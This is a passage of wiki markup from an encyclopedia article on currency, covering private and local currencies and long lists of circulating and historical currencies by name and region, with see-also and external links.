Several large companies issue points to their customers, to be redeemed for products and services produced by that company. Often, a [[business network|network]] of companies will join to share in the offering and redemption of points. While these can hardly be considered stable currency systems, they present many of the same features as &quot;legitimate&quot; currency: they are a store of value, issued in discrete units; they are controlled by a central issuing authority; and they have varying rates of exchange with other forms of currency. For example, [[frequent flyer miles]] can be bought using U.S. dollars.

*[[Alternative currency]]: A currency such as the [[Liberty Dollar]], with a one-to-one exchange rate with the U.S. Dollar.

*[[Digital gold currency]]: Privately issued digital currency backed by [[gold]]

*[[Frequent flyer miles]]: A type of private currency, different versions of which are issued by most major [[airlines]] to encourage [[customer loyalty]]. Other customer loyalty incentives have followed this model, including points systems offered by soft drink manufacturers such as [[PepsiCo]]. [[Metro|Subway]] tokens, issued by city transit authorities, can be considered a highly specialized form of currency.

*[[Scrip]]: A type of private currency where a certain value is captured, and used to purchase goods from a company. Examples of scrip include gift certificates, gift cards, and [[Disney Dollar]]s or [[Canadian Tire Money]]. However, scrip is not considered a currency in itself, but merely a store of value, denominated in another currency.

== Local currencies ==
{{See also|Local currency}}
In economics, a local currency is a currency not backed by a national government, and intended to trade only in a small area. Advocates such as Jane Jacobs argue that this enables an economically depressed region to pull itself up, by giving the people living there a medium of exchange that they can use to exchange services and locally-produced goods (In a broader sense, this is the original purpose of all money.) Opponents of this concept argue that local currency creates a barrier which can interfere with economies of scale and comparative advantage, and that in some cases they can serve as a means of tax evasion.

Local currencies can also come into being when there is economic turmoil involving the national currency. An example of this is the Argentine economic crisis of 2002 in which IOUs issued by local governments quickly took on some of the characteristics of local currencies.

== World currency ==
With such developments as the [[euro]] allowing for facilitated trade and perhaps a corresponding increase in a wider identity, proposals for a [[global currency]] have accelerated, even while it is recognized that several political and economic factors would need to be addressed and intermediate steps taken before such a concept might be accepted by the diverse nations of the world.

== Circulating currencies ==
See [[List of currencies]] for a list of all current and historical currencies. See [[List of historical currencies]] or [[#Historical currencies|historical currencies]] below for historical currencies. See [[List of circulating currencies]] for a list of currencies by country.
The following is a list of currency '''names''' (denominations) of the world in alphabetic order by currency name:
===A-E===
*[[Afghan afghani|Afghani]] - [[Afghanistan]]
*[[Malagasy ariary|Ariary]] - [[Madagascar]]
*[[Thai baht|Baht]] - [[Thailand]]
*[[Panamanian balboa|Balboa]] - [[Panama]] ([[United States dollar|U.S. dollar]] used for paper money)
*[[Ethiopian birr|Birr]] - [[Ethiopia]]
*[[Venezuelan bolívar|Bolívar]] - [[Venezuela]]
*[[Bolivian boliviano|Boliviano]] - [[Bolivia]]
*[[Ghanaian cedi|Cedi]] - [[Ghana]]
*[[Costa Rican colón|Colón]] - [[Costa Rica]]
*[[Nicaraguan córdoba|Córdoba]] - [[Nicaragua]]
*[[Gambian dalasi|Dalasi]] - [[The Gambia]]
*[[Macedonian Denar|Denar]] - [[Republic of Macedonia|Macedonia]]
*[[Dinar]]
** [[Algerian dinar]] - [[Algeria]]
** [[Bahraini dinar]] - [[Bahrain]]
** [[Iraqi dinar]] - [[Iraq]]
** [[Jordanian dinar]] - [[Jordan]], [[State of Palestine|Palestine]]
** [[Kuwaiti dinar]] - [[Kuwait]]
** [[Libyan dinar]] - [[Libya]]
** [[Tunisian dinar]] - [[Tunisia]]
** [[Serbian dinar]] - [[Serbia]]
** [[Sudanese dinar]] - [[Sudan]]
*[[Dirham]]
** [[Moroccan dirham]] - [[Morocco]]
** [[United Arab Emirates dirham]] - [[United Arab Emirates]]
*[[São Tomé and Príncipe dobra|Dobra]] - [[Sao Tome and Principe|São Tomé and Príncipe]]
*[[Dollar]]
** [[Australian dollar]] - [[Australia]], [[Christmas Island]], [[Cocos (Keeling) Islands]], [[Heard Island and McDonald Islands]], [[Norfolk Island]], [[Kiribati]], [[Nauru]] and [[Tuvalu]]
** [[Barbados dollar]] - [[Barbados]]
** [[Bahamian dollar]] - [[Bahama]]
** [[Belize dollar]] - [[Belize]]
** [[Bermuda dollar]] - [[Bermuda]]
** [[Brunei dollar]] - [[Brunei]]
** [[Canadian dollar]] - [[Canada]]
** [[Cayman Islands dollar]] - [[Cayman Islands]]
** [[Cook Islands dollar]] - [[Cook Islands]]
** [[East Caribbean dollar]] - [[Anguilla]], [[Antigua and Barbuda]], [[Dominica]], [[Grenada]], [[Montserrat]], [[Saint Kitts and Nevis]], [[Saint Lucia]], [[Saint Vincent and the Grenadines]]
** [[Fijian dollar]] - [[Fiji]]
** [[Guyanese dollar]] - [[Guyana]]
** [[Hong Kong dollar]] - [[Hong Kong]]
** [[International dollar]] - hypothetical currency pegged 1:1 to the [[United States dollar]]
** [[Jamaican dollar]] - [[Jamaica]]
** [[Kiribati dollar]] - [[Kiribati]]
** [[Liberian dollar]] - [[Liberia]]
** [[Namibian dollar]] - [[Namibia]]
** [[New Zealand dollar]] - [[New Zealand]], [[Cook Islands]], [[Niue]], [[Tokelau]], [[Pitcairn Islands]].
** [[Singapore dollar]] - [[Singapore]]
** [[Solomon Islands dollar]] - [[Solomon Islands]]
** [[Suriname dollar]] - [[Suriname]]
** [[New Taiwan dollar]] - [[Taiwan]]
** [[Trinidad and Tobago dollar]] - [[Trinidad and Tobago]]
** [[Tuvaluan dollar]] - [[Tuvalu]] (not an independent currency, equivalent to [[Australian dollar]])
** [[United States dollar]] - [[United States of America]]; also used officially in several other countries: [[East Timor]] (has own [[East Timor centavo coins|centavo coins]]), [[Ecuador]] (has own centavo coins), [[El Salvador]], [[Marshall Islands]], [[Federated States of Micronesia]], [[Palau]] and [[Panama]] (has own [[Panamanian balboa|Balboa]] currency)
** [[Zimbabwe dollar]] - [[Zimbabwe]]
*[[Vietnamese dong|Dong]] - [[Vietnam]]
*[[Armenian dram|Dram]] - [[Armenia]]
* [[Cape Verdean escudo|Escudo]] - [[Cape Verde]]
*[[Euro]] - [[Austria]], [[Belgium]], [[Finland]], [[France]], [[Germany]], [[Greece]], [[Republic of Ireland|Ireland]], [[Italy]], [[Luxembourg]], [[Netherlands]], [[Portugal]], [[Spain]]
** Countries that have made legal agreements with the EU to use the euro: [[Monaco]], [[San Marino]], [[Vatican City]]
** Territories that unilaterally use the euro: [[Andorra]], [[Montenegro]], [[Kosovo]]
** Currencies pegged to the euro: [[Cape Verdean escudo]], [[CFA franc]], [[CFP franc]], [[Comorian franc]], [[Bulgarian lev]], [[Estonian kroon]], [[Lithuanian litas]], [[Bosnia and Herzegovina convertible mark]]

===F-M===
*[[Aruban florin|Florin]] - [[Aruba]]
*[[Hungarian forint|Forint]] - [[Hungary]]
*[[Franc]] 
** [[Burundian franc]] - [[Burundi]]
** [[CFA franc]] - [[Benin]], [[Burkina Faso]], [[Cameroon]], [[Central African Republic]], [[Chad]], [[Côte d'Ivoire]], [[Republic of the Congo]], [[Equatorial Guinea]], [[Gabon]], [[Guinea-Bissau]], [[Mali]], [[Niger]], [[Senegal]], [[Togo]]
** [[CFP franc]] - [[New Caledonia]], [[French Polynesia]], [[Wallis and Futuna]]
** [[Comorian franc]] - [[Comoros]]
** [[Congolese franc]] - [[Democratic Republic of Congo]] (replaced in [[1967]], re-established in [[1998]])
** [[Djiboutian franc]] - [[Djibouti]]
** [[Guinean franc]] - [[Guinea]] (replaced in [[1971]], re-established in [[1985]])
** [[Malagasy franc]] - [[Madagascar]] (replaced by [[Ariary]] in 2004)
** [[Rwandan franc]] - [[Rwanda]]
** [[Swiss franc]] - [[Switzerland]], [[Liechtenstein]].
*[[Haitian gourde|Gourde]] - [[Haiti]]
*[[Paraguayan guaraní|Guaraní]] - [[Paraguay]]
*[[Netherlands Antillean gulden|Gulden]] - [[Netherlands Antilles]]
*[[Ukrainian hryvnia|Hryvnia]] - [[Ukraine]]
*[[Papua New Guinea kina|Kina]] - [[Papua New Guinea]]
*[[Lao kip|Kip]] - [[Laos]]
*[[Koruna]]
** [[Czech koruna]] - [[Czech Republic]]
** [[Slovak koruna]] - [[Slovakia]]
*[[Estonian kroon|Kroon]] - [[Estonia]]
*[[Króna]]
** [[Faroese króna]] - [[Faroe Islands]] (not an independent currency, equivalent to [[Danish krone]])
** [[Icelandic króna]] - [[Iceland]]
*[[Swedish krona|Krona]] - [[Sweden]]
*[[Krone]]
** [[Danish krone]] - [[Denmark]], [[Greenland]]
** [[Norwegian krone]] - [[Norway]]
*[[Croatian kuna|Kuna]] - [[Croatia]]
*[[Kwacha]]
** [[Malawian kwacha]] - [[Malawi]]
** [[Zambian kwacha]] - [[Zambia]]
*[[Angolan kwanza|Kwanza]] - [[Angola]]
*[[Myanmar kyat|Kyat]] - [[Myanmar]]
*[[Latvian lat|Lat]] - [[Latvia]]
*[[Georgian lari|Lari]] - [[Georgia (country)|Georgia]]
*[[Albanian lek|Lek]] - [[Albania]]
*[[Honduran lempira|Lempira]] - [[Honduras]]
*[[Sierra Leonean leone|Leone]] - [[Sierra Leone]]
*Leu
** [[Moldovan leu]] - [[Republic of Moldova|Moldova]]
** [[Romanian leu]] - [[Romania]]
*[[Bulgarian lev|Lev]] - [[Bulgaria]]
*[[Swazi lilangeni|Lilangeni]] - [[Swaziland]]
*[[Lira]]
** [[Maltese lira]] - [[Malta]]
** [[Turkish new lira]] - [[Turkey]]
*[[Lithuanian litas|Litas]] - [[Lithuania]]
*[[Lebanese livre|Livre]] - [[Lebanon]]
*[[Lesotho loti|Loti]] - [[Lesotho]]
*[[Manat]]
** [[Azeri manat]] - [[Azerbaijan]]
** [[Turkmenistani manat]] - [[Turkmenistan]]
*[[Bosnia and Herzegovina convertible mark|Mark, convertible]] - [[Bosnia and Herzegovina]]
*[[Mozambican metical|Metical]] - [[Mozambique]]

===N-R===
*[[Eritrean nakfa|Nakfa]] - [[Eritrea]]
*[[Nigerian naira|Naira]] - [[Nigeria]]
*[[Bhutanese ngultrum|Ngultrum]] - [[Bhutan]]
*[[Mauritanian ouguiya|Ouguiya]] - [[Mauritania]]
*[[Tongan pa'anga|Pa'anga]] - [[Tonga]] 
*[[Macanese pataca|Pataca]] - [[Macau]]
*[[Peso]]
** [[Argentine peso]] - [[Argentina]]
** [[Chilean peso]] - [[Chile]]
** [[Colombian peso]] - [[Colombia]]
** [[Cuban peso]], [[Cuban convertible peso]] - [[Cuba]]
** [[Dominican peso]] - [[Dominican Republic]]
** [[Mexican peso]] - [[Mexico]]
** [[Philippine peso]] - [[Philippines]]
** [[Uruguayan peso]] - [[Uruguay]]
*[[Pound (currency)|Pound]]
** [[British pound|British pound (sterling)]] - [[United Kingdom]]
** [[Cyprus pound]] - [[Cyprus]]
** [[Egyptian pound]] - [[Egypt]]
** [[Falkland pound]] - [[Falkland Islands]]
** [[Gibraltar pound]] - [[Gibraltar]]
** [[Guernsey pound]] - [[Guernsey]]
** [[Isle of Man pound]] - [[Isle of Man]]
** [[Jersey pound]] - [[Jersey]]
** [[Saint Helenian pound]] - [[Saint Helena]]
** [[Sudanese pound|(New) Sudanese pound]] - [[Southern Sudan]]
** [[Syrian pound]] - [[Syria]]
*[[Botswana pula|Pula]] - [[Botswana]]
*[[Guatemalan quetzal|Quetzal]] - [[Guatemala]]
*[[South African rand|Rand]] - [[South Africa]]
*[[Brazilian real|Real]] - [[Brazil]]
*[[Renminbi]] - [[People's Republic of China]]
*[[Rial]]
** [[Iranian rial]] - [[Iran]]
** [[Omani rial]] - [[Oman]]
** [[Yemeni rial]] - [[Yemen]]
*[[Cambodian riel|Riel]] - [[Cambodia]]
*[[Malaysian ringgit|Ringgit]] - [[Malaysia]]
*[[Riyal]]
** [[Qatari riyal]] - [[Qatar]]
** [[Saudi riyal]] - [[Saudi Arabia]]
*[[Ruble]]
** [[Belarusian ruble]] - [[Belarus]]
** [[Russian ruble]] - [[Russia]]
** [[Transnistrian ruble]] - [[Transnistria]] (non-recognized currency)
*[[Maldivian rufiyah|Rufiyah]] - [[Maldives]]
*[[Rupee]]
** [[Indian rupee]] - [[India]]
** [[Mauritian rupee]] - [[Mauritius]]
** [[Nepalese rupee]] - [[Nepal]]
** [[Pakistani rupee]] - [[Pakistan]]
** [[Seychelles rupee]] - [[Seychelles]]
** [[Sri Lankan rupee]] - [[Sri Lanka]]
*[[Indonesian rupiah|Rupiah]] - [[Indonesia]]

===S-Z===
*[[Israeli new sheqel|Sheqel]] - [[Israel]], [[Gaza Strip]], [[West Bank]]
*[[Shilling]]
** [[Kenyan shilling]] - [[Kenya]]
** [[Somali shilling]] - [[Somalia]]
** [[Tanzanian shilling]] - [[Tanzania]]
** [[Ugandan shilling]] - [[Uganda]]
*[[Peruvian sol|Sol]] - [[Peru]]
*[[Som]]
** [[Kyrgyzstani som]] - [[Kyrgyzstan]]
** [[Uzbekistani som]] - [[Uzbekistan]]
*[[Tajikistani somoni|Somoni]] - [[Tajikistan]]
*[[Bangladeshi taka|Taka]] - [[Bangladesh]]
*[[Samoan tala|Tala]] - [[Samoa]]
*[[Kazakhstani tenge|Tenge]] - [[Kazakhstan]]
*[[Slovenian tolar|Tolar]] - [[Slovenia]]
*[[Mongolian tugrug|Tugrug]] - [[Mongolia]]
*[[Vanuatu vatu|Vatu]] - [[Vanuatu]]
*[[Won]]
** [[North Korean won]] - [[North Korea]]
** [[South Korean won]] - [[South Korea]]
*[[Japanese yen|Yen]] - [[Japan]]
*Yuan
**[[Chinese renminbi yuan]] - [[People's Republic of China]]
**[[New Taiwan dollar|Taiwanese yuan (New Taiwan dollar)]] - [[Republic of China]] ([[Taiwan]])
*[[Polish złoty|Złoty]] - [[Poland]]

==Historical currencies==
See also [[List of historical currencies]].
===Ancient Greece===
*[[Drachma]]

===Ancient Rome===
*[[Antoninianus]]
*[[As (coin)|As]]
*[[Denarius]]
*[[Dupondius]]
*[[Sestertius]]

===Ancient Persia===
*[[Achaemenid currency]]

===Africa===
*[[Gold Coast ackey|Ackey]] - [[Gold Coast]]
*[[Algerian budju|Budju]] - [[Algeria]]
*[[Angolan angolar|Angolar]] - [[Angola]]
*[[Axum coinage|Axum denarius]] - [[Axum]]
*Dollar
**[[Mauritian dollar]] - [[Mauritius]]
**[[Rhodesian dollar]] - [[Rhodesia]]
**[[Sierra Leone dollar]] - [[Sierra Leone]]
*[[Escudo]]
**[[Angolan escudo]] - [[Angola]]
**[[Mozambican escudo]] - [[Mozambique]]
**[[Portuguese Guinea escudo]] - [[Guinea Bissau]]
**[[São Tomé and Príncipe escudo]] - [[São Tomé and Príncipe]]
*[[Equatorial Guinean ekwele|Ekwele]] (Ekuele) - [[Equatorial Guinea]]
*[[East African florin|Florin]] - [[Kenya]], [[Somalia]], [[Tanzania]] and [[Uganda]]
*[[Franc]]
**[[Katangan franc]] - [[Katanga]]
**[[Moroccan franc]] - [[Morocco]]
**[[Malagasy franc]] - [[Madagascar]]
**[[Malian franc]] - [[Mali]]
**[[Tunisian franc]] - [[Tunisia]]
*Lira
**[[Italian East African lira]] - [[Italian East Africa]]
**[[Italian Somaliland lira]] - [[Italian Somaliland]]
*[[German South West African mark|Mark]] - [[German South West Africa]]
*[[Equatorial Guinean peseta|Peseta]] - [[Equatorial Guinea]]
*[[Guinea Bissau peso|Peso]] - [[Guinea Bissau]]
*[[Pound (currency)|Pound]]
**[[Biafran pound]] - [[Biafra]]
**[[Gambian pound]] - [[Gambia]]
**[[Ghanaian pound]] - [[Ghana]]
**[[Libyan pound]] - [[Libya]]
**[[Malawian pound]] - [[Malawi|Malaŵi]]
**[[Nigerian pound]] - [[Nigeria]]
**[[Rhodesian pound]] - [[Rhodesia]]
**[[Rhodesia and Nyasaland pound]] - [[Rhodesia]] and [[Nyasaland]]
**[[South African pound]] - [[South Africa]]
**[[Southern Rhodesian pound]] - [[Southern Rhodesia]]
**[[Sudanese pound]] - [[Sudan]]
**[[West African pound]] - [[Cameroon]], [[Gambia]], [[Ghana]], [[Nigeria]] and [[Sierra Leone]]
**[[Zambian pound]] - [[Zambia]]
*Real
**[[Angolan real]] - [[Angola]]
**[[Cape Verde real]] - [[Cape Verde]]
**[[Mozambican real]] - [[Mozambique]]
**[[Portuguese Guinea real]] - [[Guinea Bissau]]
**[[São Tomé and Príncipe real]] - [[São Tomé and Príncipe]]
*Rial
**[[Moroccan rial|Rial]] - [[Morocco]]
**[[Tunisian rial]] - [[Tunisia]]
*Rupee
**[[East African rupee]] - [[Kenya]], [[Somalia]], [[Tanzania]] and [[Uganda]]
**[[German East African rupie]] - [[Burundi]], [[Rwanda]] and [[Tanzania]]
**[[Zanzibari rupee]] - [[Zanzibar]]
*[[East African shilling|Shilling]] - [[Kenya]], [[Somalia]], [[Tanzania]] and [[Uganda]]
*[[Italian Somaliland somalo|Somalo]] - [[Italian Somaliland]]
*[[Guinean syli|Syli]] - [[Guinea]]
*[[Eritrean tallero|Tallero]] - [[Eritrea]]
*[[Zairean zaire|Zaïre]] - [[Zaïre]]

===America===
*[[Argentine austral|Austral]] - [[Argentina]]
*[[El Salvadoran colón|Colón]] - [[El Salvador]]
*[[Continental Currency]] - [[Colonial America]]
*[[Brazilian cruzado|Cruzado]] - [[Brazil]]
*[[Brazilian cruzeiro|Cruzeiro]] - [[Brazil]]
*[[Brazilian cruzeiro real|Cruzeiro Real]] - [[Brazil]]
*[[Danish West Indies daler|Daler]] - [[Danish West Indies]]
*Dollar
**[[Puerto Rican dollar]] - [[Puerto Rico]]
**[[Hawaiian dollar]] - [[Hawaii]]
**[[Newfoundland dollar]] - [[Newfoundland]]
*[[Chilean escudo|Escudo]] - [[Chile]]
*[[British Guiana guilder|Guilder]] - [[British Guiana]]
*[[Suriname gulden|Gulden]] - [[Suriname]]
*[[Peruvian inti|Inti]] - [[Peru]]
*[[Haitian livre|Livre]] - [[Haiti]]
*[[Peso]]
**[[Bolivian peso]] - [[Bolivia]]
**[[Costa Rican peso]] - [[Costa Rica]]
**[[El Salvadoran peso]] - [[El Salvador]]
**[[Guatemalan peso]] - [[Guatemala]]
**[[Honduran peso]] - [[Honduras]]
**[[Nicaraguan peso]] - [[Nicaragua]]
**[[Paraguayan peso]] - [[Paraguay]]
**[[Puerto Rican peso]] - [[Puerto Rico]]
**[[Venezuelan peso]] - [[Venezuela]]
*[[Pound (currency)|Pound]]
**[[Bahamian pound]] - [[Bahamas]]
**[[Jamaican pound]] - [[Jamaica]]
*Real
**[[Argentine real]] - [[Argentina]]
**[[Central American Republic real]] - [[Costa Rica]], [[El Salvador]], [[Guatemala]], [[Honduras]] and [[Nicaragua]]
**[[Colombian real]] - [[Colombia]]
**[[Ecuadorian real]] - [[Ecuador]]
**[[Honduran real]] - [[Honduras]]
**[[Mexican real]] - [[Mexican]]
**[[Paraguayan real]] - [[Paraguay]]
**[[Peruvian real]] - [[Peru]]
**[[Spanish colonial real]] - [[Argentina]], [[Bolivia]], [[Chile]], [[Colombia]], [[Costa Rica]], [[Cuba]], [[Dominican Republic]], [[Ecuador]], [[El Salvador]], [[Guatemala]], [[Honduras]], [[Mexico]], [[Nicaragua]], [[Panama]], [[Paraguay]], [[Peru]], [[Uruguay]] and [[Venezuela]]
*[[Danish West Indies rigsdaler|Rigsdaler]] - [[Danish West Indies]]
*[[Bolivian scudo|Scudo]] - [[Bolivia]]
*[[Ecuadorian sucre|Sucre]] - [[Ecuador]]
*[[Trade dollar]] - [[United States of America]]
*[[Venezuelan venezolano|Venezolano]] - [[Venezuela]]

===Asia===
*[[Georgian abazi|Abazi]] - [[Georgia (country)|Georgia]]
*[[Tuvan akşa|Akşa]] - [[Tuva]]
*[[Dollar]]
**[[Malayan dollar]] - [[Brunei]], [[Malaysia]] and [[Singapore]]
**[[Mongolian dollar]] - [[Mongolia]]
**[[Sarawak dollar]] - [[Sarawak]]
**[[Straits dollar]] - [[Brunei]], [[Malaysia]] and [[Singapore]]
**[[Taiwan dollar]] - [[Taiwan]]
**[[Kiautschou dollar]] - [[Qingdao]]
*[[Escudo]]
**[[Portuguese Indian escudo]] - [[Portuguese India]]
**[[Portuguese Timor escudo]] - [[East Timor]]
*[[Madras fanam|Fanam]] - [[Madras Presidency]]
*[[Cambodian franc|Franc]] - [[Cambodia]]
*[[Netherlands Indies gulden|Gulden]] - [[Netherlands Indies]]
*[[South Korean hwan|Hwan]] - [[South Korea]]
*[[Kutch kori|Kori]] - [[Kutch]]
*[[Maldivian laari|Laari]] - [[Maldives]]
*[[Turkish lira|Lira]] - [[Turkey]]
*[[Nepalese mohar|Mohar]] - [[Nepal]]
*[[Japanese mon|Mon]] - [[Japan]]
*[[Korean mun|Mun]] - [[Korea]]
*[[Portuguese Timor pataca|Pataca]] - [[Portuguese Timor]]
*[[French Indochinese piastre|Piastre]] - [[Cambodia]], [[Laos]] and [[Vietnam]]
*[[Brunei pitis|Pitis]] - [[Brunei]]
*[[Pound (currency)|Pound]]
**[[Israeli pound]] - [[Israel]] 
**[[Palestinian pound]] - [[British Mandate of Palestine|Palestine]]
*[[North Yemeni rial|Rial]] - [[North Yemen]]
*[[Ceylonese rixdollar|Rixdollar]] - [[Sri Lanka]]
*[[Netherlands Indies roepiah|Roepiah]] - [[Netherlands Indies]]
*[[Ruble]]
**[[Armenian ruble]] - [[Armenia]]
**[[Azeri ruble]] - [[Azerbaijan]]
**[[Georgian ruble]] - [[Georgia (country)|Georgia ]]
**[[Tajikistani ruble]] - [[Tajikistan]]
*[[Rupee]]
**[[Afghan rupee]] - [[Afghanistan]]
**[[Bhutanese rupee]] - [[Bhutan]]
**[[Burmese rupee]] - [[Burma]]
**[[Danish Indian rupee]] - [[Danish India]]
**[[French Indian rupee]] - [[French India]]
**[[Gulf rupee]] - [[Bahrain]], [[Kuwait]], [[Oman]], [[Qatar]] and [[UAE]]
**[[Hyderabad rupee]] - [[Hyderabad state|Hyderabad]]
**[[Portuguese Indian rupia]] - [[Portuguese India]]
**[[Travancore rupee]] - [[Travancore]]
*Rupiah
**[[Riau rupiah]] - [[Riau]]
**[[West New Guinea rupiah]] - [[West New Guinea]]
*[[Tibetan srang|Srang]] - [[Tibet]]
*[[Chinese tael|Tael]] - [[China]]
*[[Tibetan tangka|Tangka]] - [[Tibet]]
*Tenga
**[[Bukharan tenga]] - [[Bukhara]]
**[[Kokand tenga]] - [[Kokand]]
**[[Khwarazmi tenga]] - [[Khwarazm]]
*[[Cambodian tical|Tical]] - [[Cambodia]]
*[[Iranian toman|Toman]] - [[Iran]]
*[[Chinese wen|Wen]] - [[China]]
*[[Korean yang|Yang]] - [[Korea]]
*[[Chinese yuan|Yuan]] - [[China]]

===Australasia===
*[[New Hebrides franc|Franc]] - [[New Hebrides]]
*[[New Guinea mark|Mark]] - [[New Guinea]]
*[[Pound (currency)|Pound]]
**[[Australian pound]] - [[Australia]]
**[[Fijian pound]] - [[Fiji]]
**[[New Guinea pound]] - [[New Guinea]]
**[[New Zealand pound]] - [[New Zealand]]
**[[Oceania pound]] - [[Kiribati]], [[Nauru]], [[New Guinea]], [[Solomon Islands]] and [[Tuvalu]]
**[[Samoan pound]] - [[Samoa]]
**[[Solomon Islands pound]] - [[Solomon Islands]]
**[[Tongan pound]] - [[Tonga]]

===Europe===
*14 national currencies which were replaced by the [[euro]] in [[2002]]:
**[[Austrian schilling]]
**[[Belgian franc]]
**[[Dutch gulden]]
**[[Finnish markka]]
**[[French franc]]
**[[German mark]]
**[[Greek drachma]]
**[[Irish pound]]
**[[Italian lira]]
**[[Luxembourgian franc]]
**[[Portuguese escudo]]
**[[San Marinese lira]]
**[[Spanish peseta]]
**[[Vatican lira]]

*[[Conventionsthaler]] - [[Holy Roman Empire]]
*Daler
**[[Danish rigsdaler|Rigsdaler]] - [[Denmark]] and [[Norway]]
**[[Dutch rijkdaalder|Rijkdaalder]] - [[Netherlands]]
**[[Swedish riksdaler|Riksdaler]] - [[Sweden]]
**[[Norwegian speciedaler|Speciedaler]] - [[Norway]]
*[[Dinar]]
**[[Bosnia and Herzegovina dinar]] - [[Bosnia and Herzegovina]]
**[[Croatian dinar]] - [[Croatia]]
**[[Krajina dinar]] - [[Republic of Serbian Krajina|Krajina]]
**[[Republika Srpska dinar]] - [[Republika Srpska]]
**[[Yugoslav dinar]] - [[Yugoslavia]]
*[[Tuscan fiorino|Fiorino]] - [[Tuscany]]
*[[Florin]]
**[[Austrian florin]] - [[Austria]]
**[[Lombardy-Venetia florin]] - [[Lombardy-Venetia]]
*[[Saar franc|Franc]] - [[Saar]]
*[[Westphalian frank]] - [[Kingdom of Westphalia|Westphalia]]
*[[Luccan franco|Franco]] - [[Lucca]]
*[[Ionian gazeta|Gazeta]] - [[Ionian Islands]]
*[[Gulden]]
**[[Austro-Hungarian gulden]] - [[Austria-Hungary]]
**[[Baden gulden]] - [[Baden]]
**[[Bavarian gulden]] - [[Bavaria]]
**[[Danzig gulden]] - [[Danzig]]
**[[South German gulden]] - [[Baden]], [[Bavaria]], [[Frankfurt]], [[Hohenzollern]], [[Württemberg]] and other states
**[[Württemberg gulden]] - [[Württemberg]]
*[[Ukrainian karbovanets|Karbovanets]] - [[Ukraine]]
*Kronenthaler
**[[Kronenthaler|Holy Roman Empire Kronenthaler]] - [[Holy Roman Empire]]
**[[Austrian Netherlands kronenthaler|Kronenthaler]] - [[Belgium]]
*Koruna
**[[Czechoslovak koruna]] - [[Czechoslovakia]]
**[[Slovak koruna (WWII)|Slovak koruna]] - [[Slovakia]] ([[Second World War]])
*[[Lira]]
**[[Luccan lira]] - [[Lucca]]
**[[Neapolitan lira]] - [[Naples]] (Kingdom of [[Joachim Murat]])
**[[Papal States lira]] - [[Papal States]]
**[[Parman lira]] - [[Parma]]
**[[Sardinian lira]] - [[Kingdom of Sardinia|Sardinia]]
**[[Turkish lira]] - [[Turkey]]
**[[Tuscan lira]] - [[Tuscany]]
**[[Venetian lira]] - [[Venice]]
*Mark
**[[Danzig mark]] - [[Danzig]]
**[[Hamburg mark]] - [[Hamburg]]
**[[Saar mark]] - [[Saar]]
*[[Polish mark|Marka]] - [[Poland]]
*[[Ionian obol|Obol]] - [[Ionian Islands]]
*[[German ostmark|Ostmark]] - [[Lithuania]]
*[[German ostruble|Ostruble]] - [[Lithuania]]
*[[Perper]]
** [[Serbian perper]]
** [[Montenegrin perper]]
*Piastra
**[[Neapolitan piastra]] - Mainland part of [[Two Sicilies]]
**[[Sicilian piastra]] - [[Sicily]]
**[[Two Sicilies piastra]] - [[Two Sicilies]]
*Real
**[[Azorean real]] - [[Azores]]
**[[Gibraltar real]] - [[Gibraltar]]
**[[Spanish real]] - [[Spain]] (plural reales)
**[[Portuguese real]] - [[Portugal]] (plural réis)
*[[Reichsthaler]] - [[Germany]]
*[[Latvian ruble|Rubłi]] - [[Latvia]]
*[[Scudo]]
**[[Lombardy-Venetia scudo]] - [[Lombardy-Venetia]]
**[[Milanese scudo]] - [[Duchy of Milan|Milan]]
**[[Papal States scudo]] - [[Papal States]]
**[[Maltese scudo]] - [[Malta]]
*[[Spanish peso|Peso]] - [[Spain]]
*[[Lithuanian talonas|Talonas]] - [[Lithuania]]
*[[Thaler]] - [[Germany]], [[Austria]], [[Hungary]]
**[[Bremen thaler]] - [[Bremen]]
**[[Danzig thaler]] - [[Danzig]]
**[[Hannovarian thaler]] - [[Hannover]]
**[[Hesse-Kassel thaler]] - [[Hesse-Kassel]]
**[[Mecklenburg thaler]] - [[Mecklenburg]]
**[[Prussian thaler]] - [[Prussia]]
**[[Saxon thaler]] - [[Mecklenburg]]
**[[Westphalian thaler]] - [[Kingdom of Westphalia|Westphalia]]
*[[Vereinsthaler]]
**[[Hannovarian vereinsthaler]] - [[Hannover]]
**[[Hesse-Kassel vereinsthaler]] - [[Hesse-Kassel]]
**[[Mecklenburg vereinsthaler]] - [[Mecklenburg]]
**[[Prussian vereinsthaler]] - [[Prussia]]
**[[Saxon vereinsthaler]] - [[Mecklenburg]]
*[[Kraków złoty|Złoty]] - [[Kraków]]

==Accounting units==
*[[Franc Poincaré]]
*[[Special Drawing Rights]]
*[[European Currency Unit]]
*[[Currency sign]]
*[[Krugerrand]]
*[[Fictional currency]]
*[[Local currencies]]
*[[Petrocurrency]]
*[[Currency Pair]]

==Proposed currencies==
*[[Eco (currency)|Eco]]
*[[Mozambican metica|Metica]] - [[Mozambique]]
*[[Montenegrin perun|Perun]] - [[Montenegro]]
*[[Amero]]

==Lists==
*[[List of circulating currencies]]
*[[List of historical currencies]]
*[[List of currencies]]
*[[List of motifs on banknotes]]
*[[List of international trade topics]]
*[[List of historical exchange rates]]

== See also ==
*[[ISO 4217]] Currency codes
*[[Non-decimal currencies]]
*[[exchange rate]]
*[[Foreign Exchange]]
*[[Foreign exchange trading]]
*[[Foreign exchange market]]
*[[Foreign exchange service]]
*[[Optimal Currency Area]]

== External links==
* [http://www.rationalfx.com currency converter]
* [http://www.shibuimarkets.com/perl/fx Currencies from all over the world (www.shibuimarkets.com)]
* [http://dictionary.reference.com/search?q=currency Table of currencies (from dictionary.com)]
* [http://tokyoahead.com/main/staticpages/index.php/chart2 Historical Currency Charts, Matrix &amp; Converter]
* [http://haas.ca/articles/20040311-currency.cfm Minting New Security]
* http://www.banknotes.com
* http://www.banknoteworld.com
* [http://www.forexpower.info Foreign Currency Trading Articles]
* [http://www.monetary-unit.com/ Ad-Free website on worldwide currencies with short Descrption and Pictures]
* [http://www.fxhill.com FXhill.com] Forex Portal - Directory, News, Forum, Trading Strategies, Service Providers, Products, Institutions, Culture

===Records===
* [http://tomchao.com/trivia.html A site compiling information on currency and currency-related world records]

[[Category:Currency| ]]
[[Category:Foreign exchange market]]

[[ar:عملة]]
[[be:Валюта]]
[[bg:Валута]]
[[cs:Měna]]
[[da:Valuta]]
[[de:Währung]]
[[eo:Valuto]]
[[es:Divisa]]
[[fi:Valuutta]]
[[fr:Devise (monnaie)]]
[[ga:Airgeadra]]
[[gl:Moeda]]
[[he:מטבע]]
[[hr:Valuta]]
[[hu:Pénznem]]
[[id:Mata uang]]
[[is:Gjaldmiðill]]
